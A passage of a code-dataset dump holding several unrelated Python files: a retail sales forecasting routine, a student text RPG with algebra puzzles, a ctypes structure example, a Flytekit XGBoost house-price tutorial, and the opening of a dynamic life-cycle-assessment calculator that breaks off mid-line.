TStemp_fcst.drop('TRDNG_WK_STRT_DT',axis=1)\n if hist_df['RTL_QTY'].nunique()==1:\n fcst_value = int(hist_df['RTL_QTY'].iloc[0])\n if fcst_value == 0:\n TStemp_fcst['KNN_FCST'] = fcst_value\n TStemp_fcst['KNN_FLG'] = 0\n TStemp_fcst['LREG_NEW_FCST'] = fcst_value\n TStemp_fcst['LREG_NEW_FLG'] = 0\n TStemp_fcst['RFT_FCST'] = fcst_value\n TStemp_fcst['RFT_FLG'] = 0\n else:\n TStemp_fcst['KNN_FCST'] = fcst_value\n TStemp_fcst['KNN_FLG'] = 1\n TStemp_fcst['LREG_NEW_FCST'] = fcst_value\n TStemp_fcst['LREG_NEW_FLG'] = 1\n TStemp_fcst['RFT_FCST'] = fcst_value\n TStemp_fcst['RFT_FLG'] = 1\n else:\n # assign 0 as forecast value for KNN | LREG method\n TStemp_fcst['KNN_FCST'] = 0\n TStemp_fcst['KNN_FLG'] = 0\n TStemp_fcst['LREG_NEW_FCST'] = 0\n TStemp_fcst['LREG_NEW_FLG'] = 0\n TStemp_fcst['RFT_FCST'] = 0\n TStemp_fcst['RFT_FLG'] = 0\n \n \n overall_hads_jar = hist_df.loc[:,['territory','KEY','TRDNG_WK_END_DT']].copy()\n overall_hads_jar['KNN_FCST'] = hist_df['RTL_QTY']\n overall_hads_jar['KNN_FLG'] = 0\n overall_hads_jar['LREG_NEW_FCST'] = hist_df['RTL_QTY']\n overall_hads_jar['LREG_NEW_FLG'] = 0\n overall_hads_jar['RFT_FCST'] = hist_df['RTL_QTY']\n overall_hads_jar['RFT_FLG'] = 0\n overall_hads_jar['TIME_FRAME'] = 'Hist Period'\n \n # append current output to final output DF\n final_forecastDF = final_forecastDF.append(TStemp_fcst)\n final_forecastDF['TIME_FRAME']='Lead Period'\n Final_df = final_forecastDF.append(overall_hads_jar)\n Final_df = clean_forecast(Final_df)\n Final_df = Final_df.loc[:,['territory','KEY','TRDNG_WK_END_DT',\n 'TIME_FRAME','KNN_FCST','KNN_FLG','LREG_NEW_FCST','LREG_NEW_FLG','RFT_FCST','RFT_FLG']]\n \n Overall_op = Overall_op.append(Final_df)\n except:\n model_run=-1\n Final_df = pd.DataFrame({'territory':[0],\n 'KEY':[0],\n 'TRDNG_WK_END_DT':[0],\n 'TIME_FRAME':[0],\n 'KNN_FCST':[0],\n 'KNN_FLG':[0],\n 'LREG_NEW_FCST':[0],\n 'LREG_NEW_FLG':[0],\n 'RFT_FCST':[0],\n 'RFT_FLG':[0]})\n Final_df=Final_df.drop(0)\n Overall_op = Overall_op.append(Final_df)\n #logging.error('Error occurred for '+ str(terr) + '-'+str(key))\n logging.info(f'{terr} - {key} - Error - Zero')\n pass\n continue\n \n return Overall_op,DF_opt_feature\n\n\n\n\n#run_models(dataframes_hads,dataframes_lads, primary_key,product_hrchy,target_var,binary_lag_var, continuous_lag_var, binary_no_lag_var, key_feature, params_feat_input)\ndef run_models(dataframes_hads, dataframes_lads, primary_key, product_hrchy, binary_lag_var, continuous_lag_var, binary_no_lag_var, key_feature,params_feat_input):\n os.environ['NUMEXPR_MAX_THREADS'] = '24' \n with concurrent.futures.ProcessPoolExecutor(max_workers= 32) as executor:\n #overall_hads_jar,error_terr_key, DF_opt_feature \n op = list(tqdm.tqdm(executor.map(ML_forecast_engine, dataframes_hads, dataframes_lads, itertools.repeat(primary_key), itertools.repeat(product_hrchy), itertools.repeat(binary_lag_var), itertools.repeat(continuous_lag_var), itertools.repeat(binary_no_lag_var),itertools.repeat(key_feature),itertools.repeat(params_feat_input)), total = len(dataframes_hads)))\n #, overall_hads_jar,error_terr_key, DF_opt_feature\n return op\n\n\n","sub_path":"ML_Forecasting.py","file_name":"ML_Forecasting.py","file_ext":"py","file_size_in_byte":54505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"111058582","text":"from player_classes import *\r\nfrom enemy_classes import *\r\nfrom util import *\r\nfrom intro import *\r\nfrom world_class import *\r\nimport pickle\r\nimport random\r\nimport csv\r\nimport os\r\n#import pygame\r\nfrom battle_func import *\r\n\r\n#pygame.mixer.init(frequency=22050, size=-16, channels=2, buffer=4096)\r\n#a1 = pygame.mixer.Sound(\"a1.wav\") Due to github not letting me upload files of over 25 mb \r\n#b1 = pygame.mixer.Sound(\"b1.wav\") I can't put the song but whatever\r\n#c1 = pygame.mixer.Sound(\"c1.wav\") It's uncommented and it can easily be changed to whatever\r\n\r\nglobal player\r\nglobal name_load\r\nglobal game_loads\r\n\r\n\r\ndef main():\r\n while True: #This prints out the menu\r\n print_line()\r\n print (\"Welcome to our RPG\")\r\n print_line()\r\n print (\"1.Start a new game\")\r\n print_line()\r\n print (\"2.Load a game\")\r\n print_line()\r\n print (\"3.Quit Game\")\r\n print_line()\r\n print (\"Created by Benjamin Lodzhevsky,Jihad Beydoun, and Jonathan Ruvinov\")\r\n print_line()\r\n while True:\r\n menu_choice = int(input(\"Please input a choice from a range of 1-3\"))\r\n if ( menu_choice == 1 ):\r\n cls()\r\n name_load = intro()\r\n player = pickle.load(open(\"%s.p\" % (name_load) , \"rb\"))\r\n game(player)\r\n elif (menu_choice == 2):\r\n cls()\r\n while True:\r\n game_loads = input(\"Please enter your name or type quit to quit!\")\r\n game_loads.lower()\r\n if (game_loads == \"quit\"):\r\n exit(420)\r\n elif (game_loads == \"\"):\r\n print (\"No name typed please enter a valid name!\")\r\n pause()\r\n cls()\r\n continue\r\n else:\r\n if ((os.path.isfile(\"%s.p\" % (game_loads)) == True)):\r\n player = load(game_loads)\r\n game(player)\r\n else:\r\n continue\r\n elif (menu_choice == 3):\r\n print (\"quitting!\")\r\n pause()\r\n exit(11)\r\n elif (menu_choice == 69420):\r\n super_secret_function()\r\n continue\r\n else:\r\n print (\"That wasn't in range!\")\r\n cls()\r\n continue\r\n\r\ndef game(player):\r\n while True:\r\n print_line()\r\n print (\"MENU\")\r\n print_line()\r\n print (\"1. <<< EXPLORE <<< \")\r\n print_line()\r\n print (\"2. <<< PUZZLE <<< \")\r\n print_line()\r\n print (\"3. <<< SAVE <<< \")\r\n print_line()\r\n print (\"4. <<< QUIT <<< \")\r\n print_line()\r\n try:\r\n game_choice = int(input(\"Please enter a choice between 1-4\"))\r\n except:\r\n print (\"Not in range!!!!!!!\")\r\n continue\r\n if (0 < game_choice < 5):\r\n if (game_choice == 1):\r\n if (player.story1 == False):\r\n story_event1(player)\r\n cls()\r\n continue\r\n elif (player.story2 == False):\r\n story_event2(player)\r\n cls()\r\n continue\r\n elif (player.story3 == False):\r\n story_event3(player)\r\n cls()\r\n continue\r\n else:\r\n print (\"ALL STORIES EVENT DONE! THANK YOU FOR PLAYING\")\r\n elif (game_choice == 2):\r\n if (player.puzzle1 == False):\r\n puzzle_event1(player)\r\n cls()\r\n continue\r\n elif (player.puzzle2 == False):\r\n puzzle_event2(player)\r\n cls()\r\n continue\r\n elif (player.puzzle3 == False):\r\n puzzle_event3(player)\r\n cls()\r\n continue\r\n else:\r\n print (\"ALL PUZZLES ARE DONE\")\r\n cls()\r\n continue\r\n elif (game_choice == 3):\r\n print (\"Saving......\")\r\n save(player)\r\n pause()\r\n cls()\r\n continue\r\n elif (game_choice == 4):\r\n print (\"quitting....\")\r\n quit(455)\r\n else:\r\n print (\"Not in range!!!!!!!!\")\r\n\r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\ndef story_event1(player):\r\n read_file(2)\r\n battle(player,1)\r\n return None\r\n\r\n\r\ndef story_event2(player):\r\n read_file(3)\r\n battle(player,2)\r\n return None\r\n\r\ndef story_event3(player):\r\n read_file(4)\r\n battle(player,3)\r\n return None\r\n\r\n\r\n\r\ndef puzzle_event1(player):\r\n print (\"You are now stopped by a huge chicken and he tells you that he will give you mercy only if you answer his riddle correctly!\")\r\n while True:\r\n print (\"Solve for x: 2(x+6)=36\")\r\n answer = int(input(\"\"))\r\n if (answer == 12):\r\n print (\"The chicken says, 'Congrats on solving my puzzle traveler!'\")\r\n print (\"In return I will increase your strength by 1\")\r\n player.str += 1\r\n player.puzzle1 = True\r\n return None\r\n else:\r\n print (\"That is wrong! I will give you 1 more chance!\")\r\n continue\r\n\r\ndef puzzle_event2(player):\r\n print (\"You are now stopped by a huge chicken and he tells you that he will give you mercy only if you answer his riddle correctly!\")\r\n while True:\r\n print (\"Solve for x: -3+5x=12\")\r\n answer = int(input(\"\"))\r\n if (answer == 3):\r\n print (\"The chicken says, 'Congrats on solving my puzzle traveler!'\")\r\n print (\"In return I will increase your magic strength by 1\")\r\n player.ms += 1\r\n player.puzzle2 = True\r\n return None\r\n else:\r\n print (\"That is wrong! I will give you 1 more chance!\")\r\n continue\r\n\r\n\r\ndef puzzle_event3(player):\r\n print (\"You are now stopped by a huge chicken and he tells you that he will give you mercy only if you answer his riddle correctly!\")\r\n while True:\r\n print (\"Solve for b: 3b+6=-18\")\r\n answer = float(input(\"\"))\r\n if (answer == -8):\r\n print (\"The chicken says, 'Congrats on solving my puzzle traveler!'\")\r\n print (\"In return I will increase your dexterity by 1\")\r\n player.dex += 1\r\n player.puzzle3 = True\r\n return None\r\n else:\r\n print (\"That is wrong! I will give you 1 more chance!\")\r\n continue\r\n\r\n\r\ndef super_secret_function():\r\n print (\"Welcome to the music player\")\r\n while True:\r\n try:\r\n music_choice = int(input(\"Please enter 1,2,or 3\"))\r\n except:\r\n print (\"Not in range!\")\r\n continue\r\n\r\n if (music_choice == 1):\r\n a1.play()\r\n return None\r\n elif (music_choice == 2):\r\n b1.play()\r\n elif (music_choice == 3):\r\n c1.play()\r\n else:\r\n print (\"Guess you don't like music\")\r\n return None\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n # 8=============D ~~~~~\r\n","sub_path":"FINAL_VERSION/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"276158251","text":"from ctypes import *\nimport types\n\n#https://blog.csdn.net/linda1000/article/details/12623527\n\nclass Test(Structure):\n pass\n\n \nTest._fields_ = [\n ('x', c_int),\n ('y', c_char),\n ('next', POINTER(Test))\n]\n\nclass Person(Structure):\n _fields_ = [\n (\"name\", c_char_p), \n (\"age\", c_int)\n ]\n\nLIB_NAME = 'liblearn_so.so'\nlib = cdll.LoadLibrary(LIB_NAME)\n\ndef init():\n ret = lib.init_person_list()\n if ret < 0:\n print('Init person list failed.')\n\ndef free():\n lib.free_person_list()\n\ndef add_new_person(name, age):\n p = Person()\n p.name = name\n p.age = age\n if (0 > lib.add_new_person(pointer(p))):\n print('Add person <%s, %d> failed.' % (name, age))\n\ndef test_add_person():\n pl = [\n (\"lizhichuan\", 26),\n (\"wuaihong\", 25),\n (\"TOE\", 2)\n ]\n\n for p in pl:\n add_new_person(p[0], p[1])\n\nif __name__ == '__main__':\n init()\n test_add_person()\n free()","sub_path":"cPython/cPython.py","file_name":"cPython.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"301484235","text":"\"\"\"\nPredicting the House Price in a Region Using an XGBoost Model and Flytekit (Python)\n-----------------------------------------------------------------------------------\n\"\"\"\n\n# %%\n# Install the following three libraries before running the model (locally):\n#\n# .. code-block:: python\n#\n# pip install scikit-learn\n# pip install joblib\n# pip install xgboost\n\n# %%\n# Step 1: Importing the Libraries\n# ===============================\n# First, import all the required libraries.\nimport typing\n\nimport joblib\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom xgboost import XGBRegressor\nfrom flytekit import Resources, dynamic, task, workflow\nfrom flytekit.types.file import FlyteFile\n\n# %%\n# Step 2: Initializing the Variables\n# ==================================\n# Initialize the variables to be used while building the model.\nNUM_HOUSES_PER_LOCATION = 1000\nCOLUMNS = [\n \"PRICE\",\n \"YEAR_BUILT\",\n \"SQUARE_FEET\",\n \"NUM_BEDROOMS\",\n \"NUM_BATHROOMS\",\n \"LOT_ACRES\",\n \"GARAGE_SPACES\",\n]\nMAX_YEAR = 2021\nSPLIT_RATIOS = [0.6, 0.3, 0.1]\n\n# %%\n# Step 3: Defining the Data Generation Functions\n# ==============================================\n# Define a function to generate the price of a house.\ndef gen_price(house) -> int:\n _base_price = int(house[\"SQUARE_FEET\"] * 150)\n _price = int(\n _base_price\n + (10000 * house[\"NUM_BEDROOMS\"])\n + (15000 * house[\"NUM_BATHROOMS\"])\n + (15000 * house[\"LOT_ACRES\"])\n + (15000 * house[\"GARAGE_SPACES\"])\n - (5000 * (MAX_YEAR - house[\"YEAR_BUILT\"]))\n )\n return _price\n\n\n# %%\n# Define a function that returns a DataFrame object constituting all the houses' details.\ndef gen_houses(num_houses) -> pd.DataFrame:\n _house_list = []\n for _ in range(num_houses):\n _house = {\n \"SQUARE_FEET\": int(np.random.normal(3000, 750)),\n \"NUM_BEDROOMS\": np.random.randint(2, 7),\n \"NUM_BATHROOMS\": np.random.randint(2, 7) / 2,\n \"LOT_ACRES\": round(np.random.normal(1.0, 0.25), 2),\n \"GARAGE_SPACES\": np.random.randint(0, 4),\n \"YEAR_BUILT\": min(MAX_YEAR, int(np.random.normal(1995, 10))),\n }\n _price = gen_price(_house)\n _house_list.append(\n [\n _price,\n _house[\"YEAR_BUILT\"],\n _house[\"SQUARE_FEET\"],\n _house[\"NUM_BEDROOMS\"],\n _house[\"NUM_BATHROOMS\"],\n _house[\"LOT_ACRES\"],\n _house[\"GARAGE_SPACES\"],\n ]\n )\n _df = pd.DataFrame(\n _house_list,\n columns=COLUMNS,\n )\n return _df\n\n\n# %%\n# Split the data into train, val, and test datasets.\ndef split_data(\n df: pd.DataFrame, seed: int, split: typing.List[float]\n) -> (pd.DataFrame, pd.DataFrame, pd.DataFrame):\n\n seed = seed\n val_size = split[1]\n test_size = split[2]\n\n num_samples = df.shape[0]\n x1 = df.values[\n :num_samples, 1:\n ] # keep only the features, skip the target, all rows\n y1 = df.values[:num_samples, :1] # keep only the target, all rows\n\n # Use split ratios to divide up into train & test\n x_train, x_test, y_train, y_test = train_test_split(\n x1, y1, test_size=test_size, random_state=seed\n )\n # Of the remaining training samples, give proper ratio to train & validation\n x_train, x_val, y_train, y_val = train_test_split(\n x_train,\n y_train,\n test_size=(val_size / (1 - test_size)),\n random_state=seed,\n )\n\n # Reassemble the datasets with target in first column and features after that\n _train = np.concatenate([y_train, x_train], axis=1)\n _val = np.concatenate([y_val, x_val], axis=1)\n _test = np.concatenate([y_test, x_test], axis=1)\n\n return (\n pd.DataFrame(\n _train,\n columns=COLUMNS,\n ),\n pd.DataFrame(\n _val,\n columns=COLUMNS,\n ),\n pd.DataFrame(\n _test,\n columns=COLUMNS,\n ),\n )\n\n\n# %%\n# Step 4: Task -- Generating & Splitting the Data\n# ===============================================\n# Call the previously defined helper functions to generate and split the data. Finally, return the DataFrame objects.\ndataset = typing.NamedTuple(\n \"GenerateSplitDataOutputs\",\n train_data=pd.DataFrame,\n val_data=pd.DataFrame,\n test_data=pd.DataFrame,\n)\n\n\n@task(cache=True, cache_version=\"0.1\", limits=Resources(mem=\"600Mi\"))\ndef generate_and_split_data(number_of_houses: int, seed: int) -> dataset:\n _houses = gen_houses(number_of_houses)\n return split_data(_houses, seed, split=SPLIT_RATIOS)\n\n\n# %%\n# Step 5: Task -- Training the XGBoost Model\n# ==========================================\n# Serialize the XGBoost model using joblib and store the model in a dat file.\nmodel_file = typing.NamedTuple(\"Model\", model=FlyteFile[typing.TypeVar(\"joblib.dat\")])\n\n\n@task(cache_version=\"1.0\", cache=True, limits=Resources(mem=\"600Mi\"))\ndef fit(loc: str, train: pd.DataFrame, val: pd.DataFrame) -> model_file:\n\n # Fetch the input and output data from train dataset\n x = train[train.columns[1:]]\n y = train[train.columns[0]]\n\n # Fetch the input and output data from validation dataset\n eval_x = val[val.columns[1:]]\n eval_y = val[val.columns[0]]\n\n m = XGBRegressor()\n m.fit(x, y, eval_set=[(eval_x, eval_y)])\n\n fname = \"model-\" + loc + \".joblib.dat\"\n joblib.dump(m, fname)\n return fname\n\n\n# %%\n# Step 6: Task -- Generating the Predictions\n# ==========================================\n# Unserialize the XGBoost model using joblib and generate the predictions.\n@task(cache_version=\"1.0\", cache=True, limits=Resources(mem=\"600Mi\"))\ndef predict(\n test: pd.DataFrame,\n model_ser: FlyteFile[typing.TypeVar(\"joblib.dat\")],\n) -> typing.List[float]:\n\n # Load model\n model = joblib.load(model_ser)\n\n # Load test data\n x_df = test[test.columns[1:]]\n\n # Generate predictions\n y_pred = model.predict(x_df).tolist()\n\n return y_pred\n\n\n# %%\n# Step 7: Workflow -- Defining the Workflow\n# =========================================\n# Include the following three steps in the workflow:\n#\n# #. Generate and split the data (Step 4)\n# #. Fit the XGBoost model (Step 5)\n# #. Generate predictions (Step 6)\n@workflow\ndef house_price_predictor_trainer(\n seed: int = 7, number_of_houses: int = NUM_HOUSES_PER_LOCATION\n) -> typing.List[float]:\n\n # Generate and split the data\n split_data_vals = generate_and_split_data(\n number_of_houses=number_of_houses, seed=seed\n )\n\n # Fit the XGBoost model\n model = fit(\n loc=\"NewYork_NY\", train=split_data_vals.train_data, val=split_data_vals.val_data\n )\n\n # Generate predictions\n predictions = predict(model_ser=model.model, test=split_data_vals.test_data)\n\n return predictions\n\n\n# %%\n# Trigger the workflow locally by calling the workflow function.\nif __name__ == \"__main__\":\n print(house_price_predictor_trainer())\n\n\n# %%\n# The output will be a list of house price predictions.","sub_path":"cookbook/case_studies/house_price_prediction/house_price_predictor.py","file_name":"house_price_predictor.py","file_ext":"py","file_size_in_byte":7063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"289502143","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, unicode_literals\nfrom eight import *\n\nfrom .temporal_distribution import TemporalDistribution\nfrom .timeline import Timeline\nfrom .dyn_methods.forest import get_static_forest_keys\nfrom bw2calc import LCA\nfrom bw2data import Database, get_activity, databases, Method\nfrom bw2data.logs import get_logger\nfrom heapq import heappush, heappop\nimport numpy as np\nimport pprint\nimport warnings\nimport collections\nimport gzip\nimport datetime\nimport os\nimport pickle\nimport datetime\n\n\nclass FakeLog(object):\n \"\"\"Like a log object, but does nothing\"\"\"\n def fake_function(cls, *args, **kwargs):\n return\n\n def __getattr__(self, attr):\n return self.fake_function\n\n\nclass DynamicLCA(object):\n \"\"\"Calculate a dynamic LCA, where processes, emissions, and CFs can vary throughout time.If an already (statically) characterized LCA object is passed calculate its dynamic LCA (useful when doing several dynamic LCA for same database but different the FUs).\n\nArgs:\n * *demand* (dict): The functional unit. Same format as in LCA class.\n * *worst_case_method* (tuple): LCIA method. Same format as in LCA class.\n * *cutoff* (float, default=0.005): Cutoff criteria to stop LCA calculations. Relative score of total, i.e. 0.005 will cutoff if a dataset has a score less than 0.5 percent of the total.\n * *max_calc_number* (int, default=10000): Maximum number of LCA calculations to perform.\n * *loop_cutoff* (int, default=10): Maximum number of times loops encountered will be traversed.\n * *t0* (datetime, default=np.datetime64('now')): `datetime` of the year zero (i.e. the one of the functional unit). \n * *group* (Boolean, default=False): When 'True' groups the impact upstream for each of the processes based on the values of `grouping_field`\n * *grouping_field* (string, default='tempo_group': The bw2 field to look for when grouping impacts upstream. When ``group`==True and a process has `grouping_field==whatever` the impacts are grouped upstream with name ``whatever` untill another process with `grouping_field==another name` is found. If `grouping_field==True` it simply uses the name of the process\n * *log* (int, default=False): If True to make log file\n * *lca_object* (LCA object,default=None): do dynamic LCA for the object passed (must have \"characterized_inventory\" i.e. LCA_object.lcia() has been called)\n \"\"\"\n\n #* *group* (Boolean, default=False: When 'True' groups the impact upstream for each of the processes with the field`grouping_field`==True\n #* *grouping_field* (string, default='tempo_group': The bw2 field to look for when grouping impacts upstream. When ``group`==True and a process has `grouping_field`==True the impacts are grouped upstream for it untill another process with `grouping_field`==True is found\n \n def __init__(self, demand, worst_case_method, t0=None, max_calc_number=1e4, cutoff=0.001,loop_cutoff=10,group=False,grouping_field=\"tempo_group\", log=False, lca_object=None):\n self.demand = demand\n self.worst_case_method = worst_case_method\n self.t0=np.datetime64('now', dtype=\"datetime64[s]\") if t0 is None else np.datetime64(t0).astype(\"datetime64[s]\")\n self.max_calc_number = max_calc_number\n self.cutoff_value = cutoff\n self.loop_cutoff_value = loop_cutoff\n self.log = get_logger(\"dynamic-lca.log\") if log else FakeLog()\n self.lca_object=lca_object\n self.group=group\n self.grouping_field=grouping_field\n self.stat_for_keys=get_static_forest_keys() #return forest processes\n self.loops=collections.Counter() #to count loops iterations\n\n #return static db and create set where will be added nodes as traversed\n all_databases = set.union(*[Database(key[0]).find_graph_dependents() for key in self.demand])\n self.static_databases = {name for name in all_databases if databases[name].get('static')}\n self.product_amount=collections.defaultdict(int) #to check supply amount calculated for each product\n self.nodes=set()\n self.edges=set()\n \n #take the biosphere flows that are in the CF used to add only them in the timeline\n self._flows_in_CF=[x[0] for x in Method(self.worst_case_method).load()]+[('static_forest', 'C_biogenic')] \n\n #self.test_datetime={} #test for using TD,left for future (potential) development (other parts are commented out below)\n \n \n ###########\n #Traversal#\n ###########\n\n\n def calculate(self):\n \"\"\"Calculate\"\"\"\n self.timeline = Timeline()\n self.heap = [] #heap with dynamic exchanges to loop over (impact,edge,datetime, TemporalDistribution)\n self.calc_number = 0\n \n #run worst case LCA if lca_object not passed else redo for demand and worst_case method\n if self.lca_object:\n _redo_lcia(self, self.lca_object, self.demand,self.worst_case_method)\n else:\n self.lca = LCA(self.demand,self.worst_case_method)\n self.lca.lci()\n self.lca.lcia()\n \n #reverse matrix and calculate cutoff\n self.reverse_activity_dict, self.reverse_prod_dict, self.reverse_bio_dict = self.lca.reverse_dict() \n self.cutoff = abs(self.lca.score) * self.cutoff_value\n \n #logs\n self.log.info(\"Starting dynamic LCA\")\n self.log.info(\"Demand: %s\" % self.demand)\n self.log.info(\"Worst case method: %s\" % str(self.worst_case_method))\n self.log.info(\"Start datetime: %s\" % self.t0)\n self.log.info(\"Maximum calculations: %i\" % self.max_calc_number)\n self.log.info(\"Worst case LCA score: %.4g.\" % self.lca.score)\n self.log.info(\"Cutoff value (fraction): %.4g.\" % self.cutoff_value)\n self.log.info(\"Cutoff score: %.4g.\" % self.cutoff)\n\n\n # Initialize heap\n #MAYBE NOT NECESSARY ANYMORE\n heappush(\n self.heap,\n (\n None,\n (\"Functional unit\",\"Functional unit\",), \n self.t0,\n TemporalDistribution(\n np.array([0,],dtype='timedelta64[s]'), # need int\n np.array((1.,)).astype(float) \n ),\n 'Functional unit' #with tag\n )\n ) #if self.lca.score!=0 else self.timeline.add(self.t0.astype(datetime.datetime) , None, None,0) #deal with demand with no impact (doing so does not return error in LCIA)\n #TODO: the part commented out above was needed for `MultiDynamicLCA`, in commits `traverse also when total score is 0` this has been deleted, check if `MultiDynamicLCA` works fine or is affected\n\n while self.heap:\n if self.calc_number >= self.max_calc_number:\n warnings.warn(\"Stopping traversal due to calculation count.\")\n break\n self._iterate()\n \n self.log.info(\"NODES: \" + pprint.pformat(self.nodes))\n self.log.info(\"EDGES: \" + pprint.pformat(self.edges)) \n \n return self.timeline\n\n ##############\n #INTERNAL USE#\n ##############\n\n def _iterate(self):\n \"\"\"Iterate over the datasets starting from the FU\"\"\"\n # Ignore the calculated impact\n # `ed` is the the edge, in the form of (keyto, keyfrom)\n # `dt` is the datetime; GIU: we can also avoid this and use self.t0\n # `td` is a TemporalDistribution instance, which gives\n # how much of the dataset is used over time at\n # this point in the graph traversal\n _, ed, dt, td,ups_tag = heappop(self.heap) # Don't care about impact #with tag\n\n #do not remeber what is this, check\n if ed!=(\"Functional unit\",\"Functional unit\",):\n self.product_amount[ed[1]] += td.total\n self.scale_value = self._get_scale_value(ed[1])\n\n if self.log:\n self.log.info(\"._iterate(): %s, %s, %s\" % (ed, dt, td))\n \n #get bw2 activity for node\n node=get_activity(ed[1]) if ed[1] != \"Functional unit\" else {'FU':False} #trick to deal with FU in LCA with results==0\n\n #tag ds with label if present otherwise inherit upstream tag\n ed_tag=ed[1]\n if self.group==True:\n ed_tag=ups_tag if node.get(self.grouping_field,False) == False else ed[1] #with tags ed[0]\n \n #add bio flows (both dynamic and static)\n self._add_biosphere_flows(ed, td,ed_tag) #with tag\n\n #deal with functional unit\n if ed[1]==\"Functional unit\": \n dyn_edges={}\n for key, value in self.demand.items():\n dyn_edges[key] = \\\n TemporalDistribution(\n np.array([0,],dtype='timedelta64[s]'), # need int\n np.array((value,)).astype(float)\n )\n new_td=self._calculate_new_td(dyn_edges[key],td) \n # Calculate lca and discard if node impact is lower than cutoff\n if self._discard_node(\n key,\n new_td.total):\n continue\n \n #else add to the heap the ds of this exchange with the new TD\n heappush(self.heap, (\n abs(1 / self.lca.score) if self.lca.score !=0 else 0, #deal with situations where the overal LCA score of the FU assessed is 0\n (ed[1],key),\n dt,\n new_td,\n ed_tag #with tag\n ))\n self.calc_number += 1\n \n #for all the other datasets\n else:\n #skip node if part of of a static db or when a loop i traversed loop_cutoff times\n ###ALL THIS LEFT FOR FUTURE IMPROVEMENTS\n # if ed in self.edges or node['database'] in self.static_databases: #this do not loop\n # if node['database'] in self.static_databases: #this loop\n # if node['database'] in self.static_databases or self.loops[ed]>=15: #loop certain amount of time\n #~if (ed[1],ed[0],) in self.edges or node['database'] in self.static_databases: #this do not reloop\n #~if node['database'] in self.static_databases or self.loops[ed]>=15: #loop certain amount of time\n #~if node['database'] in self.static_databases or self.loops[ed]>=self.loop_cutoff_value or td.total>1: #do not remeber why did this\n if node['database'] in self.static_databases or self.loops[ed]>=self.loop_cutoff_value or (self.loops[ed]>=1 and td.total>=1): #loop certain amount of time ONLY if exc amoung <=1\n return\n\n #add to nodes,edges and loops counter\n self.nodes.add(ed[1])\n self.edges.add(ed)\n self.loops[ed]+=1\n \n #defaultdict with all edges of this node (can have multiple exchanges with same input/output so use default dict with list TDs as values)\n dyn_edges=collections.defaultdict(list)\n #loop dynamic_technosphere edges for node\n for exc in node.exchanges():\n #deal with technophsere and substitution exchanges\n if exc.get(\"type\") in [\"technosphere\",'substitution']:\n if self.log:\n self.log.info(\"._iterate:edge: \" + pprint.pformat(exc))\n dyn_edges[exc['input']].append(self._get_temporal_distribution(exc))\n \n #deal with coproducts\n if exc.get('type')=='production' and exc.get('input')!=ed[1]:\n if self.log:\n self.log.info(\"._iterate:edge: \" + pprint.pformat(exc))\n dyn_edges[exc['input']].append(self._get_temporal_distribution(exc))\n\n\n #GIU: test if it is necessary all this or just loop all of them\n for edge,edge_exchanges in dyn_edges.items():\n #need index to add duplicates exchanges with their index\n for i,edge_td in enumerate(edge_exchanges):\n \n #Recalculate edge TD convoluting its TD with TD of the node consuming it (ds)\n #return a new_td with timedelta as times\n new_td=self._calculate_new_td(edge_td,td)\n \n # Calculate lca and discard if node impact is lower than cutoff\n if self._discard_node(\n edge,\n new_td.total):\n continue\n \n #else add to the heap the ds of this exchange with the new TD\n heappush(self.heap, (\n abs(1 / self.lca.score) if self.lca.score !=0 else 0, #deal with exchanges with 0 impact\n (ed[1],edge,i),\n dt,\n new_td,\n ed_tag #with tag \n ))\n \n self.calc_number += 1\n\n def _add_biosphere_flows(self, edge, tech_td,tag): #with tag\n\n \"\"\"add temporally distributed biosphere exchanges for this ds to timeline.raw both if ds is static or dynamic\"\"\"\n \n ds=edge[1] #fix this (for now done just to avoid changing all the ds below)\n if ds == \"Functional unit\":\n return\n data = get_activity(ds)\n \n #add biosphere flow for process passed\n #check if new bw2 will need changes cause will differentiate import of products and activity (i.e. process)\n if not data.get('type', 'process') == \"process\":\n return\n \n #Add cumulated inventory for static database (to make faster calc) and loops (to avoid infinite loops)\n ###ALL THIS LEFT FOR FUTURE IMPROVEMENTS\n # if data['database'] in self.static_databases: #this loop without stoop\n # if data['database'] in self.static_databases or edge in self.edges: #do not loop\n #~if data['database'] in self.static_databases or (edge[1],edge[0],) in self.edges: #do not re-loop (new)\n #~if data['database'] in self.static_databases or self.loops[edge]>=15: #loop certain amount of time\n #~if data['database'] in self.static_databases or self.loops[edge]>=self.loop_cutoff_value or tech_td.total>1: #do not remeber why did this\n if data['database'] in self.static_databases or self.loops[edge]>=self.loop_cutoff_value or (self.loops[edge]>=1 and tech_td.total>=1): #loop certain amount of time only if exc amoung <=1\n self.lca.redo_lci({data: 1})\n \n # #add product amount to product_amount (to be used when background dataset traversal will be implemented )\n # for i,am in np.ndenumerate(self.lca.supply_array):\n # product=self.reverse_prod_dict[i[0]]\n # if product!=ds:\n # self.product_amount[product] += am*tech_td.total\n \n # #this only foreground\n inventory_vector = np.array(self.lca.inventory.sum(axis=1)).ravel()\n for index, amount in enumerate(inventory_vector):\n if not amount or amount == 0 : #GIU: we can skip also 0 amounts that sometimes occurs right?\n continue\n flow = self.reverse_bio_dict[index]\n \n ###benchmarked this below, takes the same time of the foreground the problem is the high memory usage that slow things down\n # #this also background\n # coo=self.lca.inventory.tocoo()\n # for i,j,amount in zip(coo.row, coo.col, coo.data):\n # flow = self.reverse_bio_dict[i]\n # pr = self.reverse_prod_dict[j]\n \n \n dt_bio=self._calculate_bio_td_datetime(amount,tech_td)\n for bio_dt, bio_amount_scaled in dt_bio:\n #TODO: best to use a better container for timeline.\n #maybe defaultdict with namedtuple as key to group amount when added \n #fastest, see among others here https://gist.github.com/dpifke/2244911 (I also tested)\n if bio_amount_scaled !=0 and flow in self._flows_in_CF:\n self.timeline.add(bio_dt, flow, tag,bio_amount_scaled) #only foreground with tag\n # self.timeline.add(bio_dt, flow, 